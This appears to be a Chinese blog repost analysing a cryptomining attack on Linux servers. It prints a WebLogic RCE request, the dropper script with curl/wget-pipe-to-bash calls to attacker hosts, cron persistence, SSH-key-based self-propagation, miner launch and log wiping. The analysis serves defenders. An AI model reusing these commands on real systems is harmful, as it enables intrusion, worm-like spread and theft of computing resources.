当前位置: 首页 > ds >正文

凶残的挖矿脚本,奴役我数千机器!

本文转载自不正经程序员

温馨提示:本文中出现的命令和脚本,不要在自家服务器上随便运行,除非你知道自己在做什么。

挖矿是把机器当作奴隶,一刻不停歇的去计算、运转,本质上是个无用的工作。但可惜的是,它能赚钱。用别人的机器去赚钱,更是很多人梦寐以求的,所以挖矿脚本屡禁不止。

有钱的地方,就有技术。但反过来并不一定成立。

牢记这个准则,就能够心平气和的学习新技术,而不是气急败坏的纠结为啥没钱。

1. 脚本从哪来?

下面是一个http的报文。

GET /console/images/%2E%2E%2Fconsole.portal?_nfpb=true&_pageLabel=HomePage1&handle=com.tangosol.coherence.mvel2.sh.ShellSession("java.lang.Runtime.getRuntime().exec(new String[]{'/bin/sh','-c','export src=logic;curl -fsSL t.bb3u9.com/ln/core.png?logic|bash'});"); HTTP/1.1Host: 20*.10*.8*.1*9:7001 #已脱敏User-Agent: curl/7.55.1Accept: */*Content-Type:application/x-www-form-urlencoded; charset=utf-8

很简单,waf防火墙拦截到相关包,一眼看上去就不正常。从关键字com.tangosol.coherence.mvel2.sh.ShellSession可以得知,这个请求,是想要利用Weblogic的远程代码执行漏洞。

这样的漏洞有很多很多,数不胜数,比如它可以通过redis进入。我们不必关注这些漏洞,默认它已经利用成功了。我们只看挖矿脚本是怎么部署到你的机器上的。

在java中,当然要调用它的Runtime类库,如果你的应用程序是运行在root用户的,那它什么事情都能干。

这就是为什么要求你线上部署的应用,都用权限低一点的账户,比如xjjdog去运行,而不是不要命的把root账户给开放。

exec函数带了三个参数。

  • /bin/sh 意味着它要执行一个shell脚本

  • -c 指明了要执行的命令

  • export src=logic;curl -fsSL t.bb3u9.com/ln/core.png?logic|bash 首先输出了一个全局环境变量,然后下载一个png文件

狡猾的人都喜欢带面具,而狡猾的脚本都喜欢改后缀。看起来是个png,但它是个脚本。

2. 脚本怎么安装的?

接下来摘下它的伪装,看一下它的真面目。

curl http://t.bb3u9.com/ln/core.png\?logic > core.png 

查看core.png文件中的内容。不错,很长一段脚本。

#/bin/bash
setenforce 0 2>/dev/null
echo SELINUX=disabled > /etc/sysconfig/selinux 2>/dev/null
sync && echo 3 >/proc/sys/vm/drop_caches
murl1="http://t.bb3u9.com/ln/a.asp"
murl2="http://t.jdjdcjq.top/ln/a.asp"
cdate=$(date "+%Y%m%d")
guid=`echo $(sudo dmidecode -t 4 | grep ID | sed 's/.*ID://;s/ //g') $(ifconfig | grep -oP 'HWaddr \K.*'|sed 's/://g')|sha256sum|awk '{print $1}'`
cmd1="export gurl=$murl1?${src}_${cdate};(curl -fsSL \$gurl*`whoami`*\`hostname\`*${guid}||wget -q -O- \$gurl*`whoami`*\`hostname\`*${guid})|bash"
cmd2="export gurl=$murl2?${src}_${cdate};(curl -fsSL \$gurl*`whoami`*\`hostname\`*${guid}||wget -q -O- \$gurl*`whoami`*\`hostname\`*${guid})|bash"
echo "">/var/spool/cron/root
echo "">/var/spool/cron/crontabs/root
if [ "`whoami`" ==  "root" ];thencronpath=/etc/crontabXpath=/.Xl1
elsecronpath=/var/spool/cron/`whoami`Xpath=~/.Xl1
fi
if [ ! -d "$Xpath" ];thenmkdir $Xpathecho "$[$RANDOM%60] * * * * root $cmd1" >> $cronpathecho "$[$RANDOM%60] * * * * root $cmd2" >> $cronpathuname -a|grep x86_64 && echo "$[$RANDOM%60] * * * * root ps aux|grep p.b69kq.com |grep -v grep || $Xpath -o p.b69kq.com:444 --opencl --donate-level=1 --nicehash -B --http-host=0.0.0.0 --http-port=65529 --opencl --cuda" >> /etc/crontabexport gurl=$murl1?${src}_${cdate};(curl -fsSL $gurl*`whoami`*`hostname`*${guid}||wget -q -O- $gurl*`whoami`*`hostname`*${guid})|bashexport gurl=$murl2?${src}_${cdate};(curl -fsSL $gurl*`whoami`*`hostname`*${guid}||wget -q -O- $gurl*`whoami`*`hostname`*${guid})|bash
fiecho > /var/spool/mail/root
echo > /var/log/wtmp
echo > /var/log/secure

按照常规,我们来一行行拆解它。

1)关掉selinux。setenforce 0是关闭的意思,2表示stderr,出错了不提示。接下来会通过写配置文件的方式,永久性的禁止selinux。

setenforce 0 2>/dev/null
echo SELINUX=disabled > /etc/sysconfig/selinux 2>/dev/null

2)很良心的帮助清理一下系统内存

sync && echo 3 >/proc/sys/vm/drop_caches

3)构造guid,对机器进行标识

guid=`echo $(sudo dmidecode -t 4 | grep ID | sed 's/.*ID://;s/ //g') $(ifconfig | grep -oP 'HWaddr \K.*'|sed 's/://g')|sha256sum|awk '{print $1}'`

dmidecode命令,可以获取linux硬件相关的信息,会输出非常多的内容。-t 4表示只获取Process方面的内容。然后过滤一下ID信息,使用sed命令截取并去掉空格。

ID: 57 06 05 00 FF FB 8B 0F

会变成。

57060500FFFB8B0F

然后使用ifcongig命令获取网卡硬件MAC信息。做同样的处理后获得另外一个串。这段脚本写的稍微有点问题,因为ifconfig的输出经常会改格式,但不影响计算hash。

sha256sum就是算出这样一个hash,然后赋值给guid。比如下面这个。

786e5dcff31795d7b6b24cdf4f114867f423315de9bd4a879b57478ad99e2c5c

4)安装定时任务到crontab中

脚本选择了/.Xl1目录作为真正的挖矿程序的存储目录。注意这三个字母,后面是l和1,并不是X桌面的配置目录。在真正的脚本部分,我们可以看到下载的程序包地址是d.u78wjdu.com/ln/xr.zip

5)我们再来看一下下载的链接是什么样子的

cmd1="export gurl=$murl1?${src}_${cdate};(curl -fsSL \$gurl*`whoami`*\`hostname\`*${guid}||wget -q -O- \$gurl*`whoami`*\`hostname\`*${guid})|bash"
cmd2="export gurl=$murl2?${src}_${cdate};(curl -fsSL \$gurl*`whoami`*\`hostname\`*${guid}||wget -q -O- \$gurl*`whoami`*\`hostname\`*${guid})|bash"

其中,src变量是在一开始就设置的,我们依次来还原一下。

export src=logic
cdate=$(date "+%Y%m%d")
guid=`echo $(sudo dmidecode -t 4 | grep ID | sed 's/.*ID://;s/ //g') $(ifconfig | grep -oP 'HWaddr \K.*'|sed 's/://g')|sha256sum|awk '{print $1}'`
gurl=$murl1?${src}_${cdate}

最终会拼成下面的字符串,可以说该有的信息都有了,能够区分出到底是哪一台机器了。

url?_20210722*root*host_iZ2ze5w0d1f4lplj3yuflcZ*786e5dcff31795d7b6b24cdf4f114867f423315de9bd4a879b57478ad99e2c5c

3. 真正的脚本是什么?

$RANDOM环境变量,是个神奇的环境变量。直接输出的话,将会得到一个随机值。cron脚本周期性的拉取最新的脚本执行,把真正的挖矿程序部署起来。

关于真实脚本的介绍,xjjdog在另外一篇文章中有详细的介绍。在这个场景下,最新的脚本就是http://t.bb3u9.com/ln/a.asp,依然是改后缀的障眼法。

这个脚本显然比上面这篇文章介绍的要更加高级一些。脚本很长很长,就不贴了,你可以自己下载。它的主要意图,是下载一个叫做xr的程序,然后在马甲目录.Xl1中运行。xr程序才是挖矿的主要程序,其他的脚本,都是辅助它来运行的。下面是最主要的运行逻辑。

if [ ! -d "$Xpath" ];thenmkdir $Xpath
fi
cd $Xpath
if [ ! -f "./xr" ];thenuname -a|grep x86_64 && (curl -fsSL d.u78wjdu.com/ln/xr.zip||wget -q -O- d.u78wjdu.com/ln/xr.zip)>xr.zip && tar xf xr.zip && rm xr.zip
fi
uname -a|grep x86_64 && ps aux|grep p.b69kq.com |grep -v grep || ./xr -o p.b69kq.com:444 --opencl --donate-level=1 --nicehash -B --http-host=0.0.0.0 --http-port=65529 --opencl --cuda

要保证脚本的安全,怎么能少得了chattr命令。很多人遇见加了i参数的文件,不能被删除,就傻眼了。其实是可以通过-i参数去掉这个属性的。

chattr -iua /tmp/
chattr -iua /var/tmp/
chattr -R -i /var/spool/cron
chattr -i /etc/crontab

脚本还会通过nc命令,拷贝rsa公钥到你的每个用户目录下面,把你做成事实上的肉鸡,实现免密登录。关于nc这把瑞士军刀,我们也有过介绍。

for file in /home/*
doif test -d $file; thenif [ -f $file/.ssh/known_hosts ] && [ -f $file/.ssh/id_rsa.pub ]; thenfor h in $(grep -oE "\b([0-9]{1,3}\.){3}[0-9]{1,3}\b" $file/.ssh/known_hosts); do echo exit |nc -w 1 -n -v $h 65529 && ssh -oBatchMode=yes -oConnectTimeout=5 -oStrictHostKeyChecking=no $h 'export src=sshcopy;(curl -fsSL http://t.bb3u9.com/ln/core.png?sshcopy*`whoami`*`hostname`||wget -q -O- http://t.bb3u9.com/ln/core.png?sshcopy*`whoami`*`hostname`)|bash >/dev/null 2>&1 &' & donefifi
done

这份脚本,还会病毒式的传播。localgo函数,通过从你的ps进程,history文件,还有hosts配置,拿到用户列表、主机列表端口、rsa密钥等,就可以批量的去尝试登录并传播这份脚本。当然,上面的xr程序会监听65529的端口,如果判断主机已经中招了,就不再继续探测。

能用65529这个端口,本身就够骚气的了,有几台机器能够达到上限65535呢?

localgo() {i=0for user in $userlist; dofor host in $hostlist; dofor key in $keylist; dofor sshp in $sshports; doi=$((i+1))if [ "${i}" -eq "20" ]; thensleep 20ps wx | grep "ssh -o" | awk '{print $1}' | xargs kill -9 &>/dev/null &i=0fi#Wait 20 seconds after every 20 attempts and clean up hanging processeschmod +r $keychmod 400 $keyecho "$user@$host $key $sshp"echo exit |nc -w 1 -n -v $host 65529 &&  ssh -oStrictHostKeyChecking=no -oBatchMode=yes -oConnectTimeout=5 -i $key $user@$host -p$sshp "export src=sshcopy;(curl -fsSL http://t.bb3u9.com/ln/core.png?sshcopy*`whoami`*`hostname`||wget -q -O- http://t.bb3u9.com/ln/core.png?sshcopy*`whoami`*`hostname`)|bash >/dev/null 2>&1 &"donedonedonedone
}

最后,脚本还不忘汇报一下,形成完美的闭环。

reurl=http://t.bb3u9.com/ln/report.asp?*`whoami`*`hostname`*${guid}*${isdocker}*${pyver}*${isxrfile}*${hashrate}*${mip}
(curl -fsSL $reurl||wget -q -O- $reurl)|bash

4. End

如果你发现你的机器不明原因发热,务必排查一下有没有挖矿程序。虽然你的服务器摆在那里也没什么用,但用着你的电费,收益却给别人,相信你一定会嫉妒的要命。那么别犹豫,kill -9送给它,别忘了清理cron。

重装是我们的秘密武器,仅次于重启。嫌麻烦的话,就这么干吧!

http://www.xdnf.cn/news/11297.html

相关文章:

  • Google Web Designer for mac(专业网站设计工具)
  • 什么是金叉、死叉
  • java soap api操作和发送soap消息
  • numpy中的nonzero()
  • 什么是ip数据库
  • 安装 Windows 7 VM虚拟机
  • 重装系统基础教程
  • layout布局_关于 layout_weight,你到底知多少
  • 硅基流动完成近亿元融资:加速生成式AI技术普惠进程
  • 想要自己制作一款游戏,需要掌握哪些基本技能
  • android HorizontalScrollView讲解
  • 3D动画软件
  • 电脑操作系统的安装
  • RapidXML的使用
  • Qt 是一个功能强大的跨平台开发框架
  • match_parent和wrap_content的区别
  • C++语法基础--ostream,cout及其格式控制,缓冲区
  • electron一键生成项目图标
  • 抖音短视频常用的scheme跳转协议地址,直播间Intent跳转
  • 华为“天才少年”有多牛?入职不到一年,算法就用于千万台华为手机
  • 黑客入门教程(非常详细)从零基础入门到精通,看完这一篇就够了
  • WIN2016群集存储
  • IIS是什么
  • “大数据中台建设方案详解“
  • crashdump(crashdumps文件夹可以删除吗)
  • HTML如何制作公司网站首页(web前端期末大作业)
  • 妙趣解释127.0.0.1到底是什么
  • EndNote20下载安装教程(非常详细)从零基础入门到精通,看完这一篇就够了(3)
  • 宏基4750网卡驱动linux,宏基4750g网卡驱动下载
  • dell 灵越N5110 拆机